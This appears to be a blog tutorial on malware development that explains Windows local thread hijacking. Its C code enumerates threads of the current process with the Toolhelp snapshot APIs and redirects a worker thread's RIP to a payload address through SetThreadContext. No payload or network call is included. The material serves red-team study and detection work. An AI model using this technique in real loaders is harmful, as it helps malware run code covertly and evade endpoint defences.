Post

Local Thread Enumeration

Exploring Thread Hijacking: Local Thread Enumeration

Thread hijacking is one of the most used techniques in malware development that permits code execution in an existing running thread. Conventionally, it would require a newly created thread via CreateThread and edit its context. We can employ another approach wherein enumerating and hijacking are done to existing threads using CreateToolhelp32Snapshot.

Thread Enumeration Explained

CreateToolhelp32Snapshot is a WinAPI function that creates a snapshot of all running threads and processes on the system. Utilizing the parameter TH32CS_SNAPTHREAD, it returns, for every running thread-a THREADENTRY32 structure that includes, among other things, the identifier of the currently running thread and the process identifier of the owner process.

1
2
3
4
5
6
7
8
9
typedef struct tagTHREADENTRY32 {
  DWORD dwSize;                       // sizeof(THREADENTRY32)
  DWORD cntUsage;
  DWORD th32ThreadID;                 // Thread ID
  DWORD th32OwnerProcessID;           // The PID of the process that created the thread.
  LONG  tpBasePri;
  LONG  tpDeltaPri;
  DWORD dwFlags;
} THREADENTRY32;

Determining Thread Ownership

To determine which threads are part of a given process, simply compare the process identifier with the th32OwnerProcessID member of the THREADENTRY32 structure. If the PIDs match, the thread is part of the target process.

Essential WinAPIs for Thread Enumeration

Following are a few critical WinAPIs necessary for thread enumeration:

  • CreateToolhelp32Snapshot : This API captures the snapshot of running threads using the TH32CS_SNAPTHREAD flag. Thread32First Retrieves information about the first thread in the snapshot.
  • Thread32Next : Retrieves information about subsequent threads in the snapshot.
  • OpenThread : Opens a handle to a target thread by its ID.
  • GetCurrentProcessId : Retrieves the PID of the local process; this is needed to identify which threads are created by this process.

Understanding Worker Threads

Even without explicitly creating threads using CreateThread, the Windows operating system generates worker threads within processes. These threads, such as those running ntdll.dll!EtwNotificationRegister+0x2d0, are valid targets for hijacking. They are created by the OS to handle specific functions, like Event Tracing for Windows.

Implementing Thread Enumeration

The GetLocalThreadHandle function enumerates threads step by step. It takes three arguments: the ID of the main thread, a pointer to a DWORD for a hijackable thread ID, and a pointer to a HANDLE for the thread handle.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {
	
	// Getting the local process ID
	DWORD           dwProcessId  = GetCurrentProcessId();
	HANDLE          hSnapShot    = NULL;
	THREADENTRY32   Thr          = {
		.dwSize = sizeof(THREADENTRY32)
	};

	// Takes a snapshot of the currently running processes's threads 
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first thread encountered in the snapshot.
	if (!Thread32First(hSnapShot, &Thr)) {
		printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {
		// If the thread's PID is equal to the PID of the target process then
		// this thread is running under the target process
		// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local process
		if (Thr.th32OwnerProcessID == dwProcessId && Thr.th32ThreadID != dwMainThreadId) {

			// Opening a handle to the thread 
			*dwThreadId  = Thr.th32ThreadID;
			*hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

			if (*hThread == NULL)
				printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

			break;
		}

	// While there are threads remaining in the snapshot
	} while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwThreadId == NULL || *hThread == NULL)
		return FALSE;
	return TRUE;
}

Hijacking a Local Thread

Once a valid handle to the target thread is obtained, it can be passed to the HijackThread function. The latter now calls SuspendThread to suspend the thread and updates the RIP register to point to the payload base address using GetThreadContext and SetThreadContext and then resumes the thread with ResumeThread.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL HijackThread(HANDLE hThread, PVOID pAddress) {

	CONTEXT	ThreadCtx = {
		.ContextFlags = CONTEXT_ALL
	};

	SuspendThread(hThread);

	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	ThreadCtx.Rip = pAddress;

	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("\t[#] Press <Enter> To Run ... ");
	getchar();

	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}

Demo

Local Thread Enumeration

This post is licensed under CC BY 4.0 by the author.